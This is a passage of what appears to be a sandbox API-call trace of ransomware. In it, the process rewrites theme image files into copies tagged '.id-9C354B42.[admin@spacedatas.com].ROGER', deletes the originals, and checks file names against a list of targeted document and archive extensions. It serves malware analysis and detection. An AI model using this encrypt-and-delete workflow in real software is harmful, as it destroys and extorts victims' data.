hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0048.493] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0048.495] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.495] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.495] SetEndOfFile (hFile=0x3e8) returned 1 [0048.495] CloseHandle (hObject=0x3e8) returned 1 [0048.495] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.495] SetEndOfFile (hFile=0x36c) returned 1 [0048.496] CloseHandle (hObject=0x36c) returned 1 [0048.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.497] lstrlenW (lpString=".doc") returned 4 [0048.497] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.497] lstrlenW (lpString=".docx") returned 5 [0048.497] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.497] lstrlenW (lpString=".pdf") returned 4 [0048.497] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.497] lstrlenW (lpString=".xls") returned 4 [0048.497] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.497] lstrlenW (lpString=".xlsx") returned 5 [0048.497] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.497] lstrlenW (lpString=".ppt") returned 4 [0048.497] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.497] lstrlenW (lpString=".zip") returned 4 [0048.497] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.497] lstrlenW (lpString=".rar") returned 4 [0048.497] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.497] lstrlenW (lpString=".bz2") returned 4 [0048.497] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.497] lstrlenW (lpString=".7z") returned 3 [0048.497] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.497] lstrlenW (lpString=".dbf") returned 4 [0048.497] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString=".1cd") returned 4 [0048.498] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString=".jpg") returned 4 [0048.498] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString=".doc") returned 4 [0048.498] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString=".docx") returned 5 [0048.498] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.498] lstrlenW (lpString=".pdf") returned 4 [0048.498] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString=".xls") returned 4 [0048.498] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.498] lstrlenW (lpString=".xlsx") returned 5 [0048.498] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.498] lstrlenW (lpString=".ppt") returned 4 [0048.498] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString=".zip") returned 4 [0048.498] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.498] lstrlenW (lpString=".rar") returned 4 [0048.498] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.498] lstrlenW (lpString=".bz2") returned 4 [0048.498] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.498] lstrlenW (lpString=".7z") returned 3 [0048.498] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.498] lstrlenW (lpString=".dbf") returned 4 [0048.499] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.499] lstrlenW (lpString=".1cd") returned 4 [0048.499] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.499] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0048.499] lstrlenW (lpString=".jpg") returned 4 [0048.499] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.499] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.499] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.499] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1364) returned 1 [0048.499] CloseHandle (hObject=0x36c) returned 1 [0048.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0048.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.500] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.500] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.501] GetLastError () returned 0x0 [0048.501] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x554, lpOverlapped=0x0) returned 1 [0048.503] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x560, lpOverlapped=0x0) returned 1 [0048.503] ReadFile (in: hFile=0x36c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.503] WriteFile (in: hFile=0x3e8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.504] SetEndOfFile (hFile=0x3e8) returned 1 [0048.504] CloseHandle (hObject=0x3e8) returned 1 [0048.504] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.504] SetEndOfFile (hFile=0x36c) returned 1 [0048.505] CloseHandle (hObject=0x36c) returned 1 [0048.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.505] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 1 [0048.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.505] lstrlenW (lpString=".doc") returned 4 [0048.505] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.505] lstrlenW (lpString=".docx") returned 5 [0048.505] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.505] lstrlenW (lpString=".pdf") returned 4 [0048.505] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.505] lstrlenW (lpString=".xls") returned 4 [0048.505] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.505] lstrlenW (lpString=".xlsx") returned 5 [0048.506] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.506] lstrlenW (lpString=".ppt") returned 4 [0048.506] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString=".zip") returned 4 [0048.506] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.506] lstrlenW (lpString=".rar") returned 4 [0048.506] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.506] lstrlenW (lpString=".bz2") returned 4 [0048.506] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.506] lstrlenW (lpString=".7z") returned 3 [0048.506] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString=".dbf") returned 4 [0048.506] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString=".1cd") returned 4 [0048.506] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString=".jpg") returned 4 [0048.506] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.506] lstrlenW (lpString=".doc") returned 4 [0048.506] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.506] lstrlenW (lpString=".docx") returned 5 [0048.506] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.506] lstrlenW (lpString=".pdf") returned 4 [0048.506] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.506] lstrlenW (lpString=".xls") returned 4 [0048.506] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.507] lstrlenW (lpString=".xlsx") returned 5 [0048.507] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.507] lstrlenW (lpString=".ppt") returned 4 [0048.507] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.507] lstrlenW (lpString=".zip") returned 4 [0048.507] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.507] lstrlenW (lpString=".rar") returned 4 [0048.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.507] lstrlenW (lpString=".bz2") returned 4 [0048.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.507] lstrlenW (lpString=".7z") returned 3 [0048.507] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.507] lstrlenW (lpString=".dbf") returned 4 [0048.507] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.507] lstrlenW (lpString=".1cd") returned 4 [0048.507] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF") returned 75 [0048.507] lstrlenW (lpString=".jpg") returned 4 [0048.507] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.507] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.507] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.651] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=11573) returned 1 [0048.651] CloseHandle (hObject=0x3dc) returned 1 [0048.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0048.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.651] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.651] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0048.652] GetLastError () returned 0x0 [0048.652] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0048.666] WriteFile (in: hFile=0x35c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0048.666] ReadFile (in: hFile=0x3dc, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.667] WriteFile (in: hFile=0x35c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.667] SetEndOfFile (hFile=0x35c) returned 1 [0048.667] CloseHandle (hObject=0x35c) returned 1 [0048.667] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.667] SetEndOfFile (hFile=0x3dc) returned 1 [0048.668] CloseHandle (hObject=0x3dc) returned 1 [0048.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.668] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0048.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.668] lstrlenW (lpString=".doc") returned 4 [0048.668] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.668] lstrlenW (lpString=".docx") returned 5 [0048.668] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.668] lstrlenW (lpString=".pdf") returned 4 [0048.668] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.668] lstrlenW (lpString=".xls") returned 4 [0048.669] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.669] lstrlenW (lpString=".xlsx") returned 5 [0048.669] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.669] lstrlenW (lpString=".ppt") returned 4 [0048.669] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString=".zip") returned 4 [0048.669] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.669] lstrlenW (lpString=".rar") returned 4 [0048.669] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.669] lstrlenW (lpString=".bz2") returned 4 [0048.669] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString=".7z") returned 3 [0048.669] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString=".dbf") returned 4 [0048.669] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString=".1cd") returned 4 [0048.669] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString=".jpg") returned 4 [0048.669] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.669] lstrlenW (lpString=".doc") returned 4 [0048.669] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString=".docx") returned 5 [0048.669] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.669] lstrlenW (lpString=".pdf") returned 4 [0048.669] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.669] lstrlenW (lpString=".xls") returned 4 [0048.670] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.670] lstrlenW (lpString=".xlsx") returned 5 [0048.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.670] lstrlenW (lpString=".ppt") returned 4 [0048.670] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.670] lstrlenW (lpString=".zip") returned 4 [0048.670] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.670] lstrlenW (lpString=".rar") returned 4 [0048.670] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.670] lstrlenW (lpString=".bz2") returned 4 [0048.670] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.670] lstrlenW (lpString=".7z") returned 3 [0048.670] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.670] lstrlenW (lpString=".dbf") returned 4 [0048.670] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.670] lstrlenW (lpString=".1cd") returned 4 [0048.670] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0048.670] lstrlenW (lpString=".jpg") returned 4 [0048.670] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.670] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.670] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.671] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1339) returned 1 [0048.671] CloseHandle (hObject=0x3dc) returned 1 [0048.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20 [0048.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.671] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.671] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0048.940] GetLastError () returned 0x0 [0048.940] ReadFile (in: 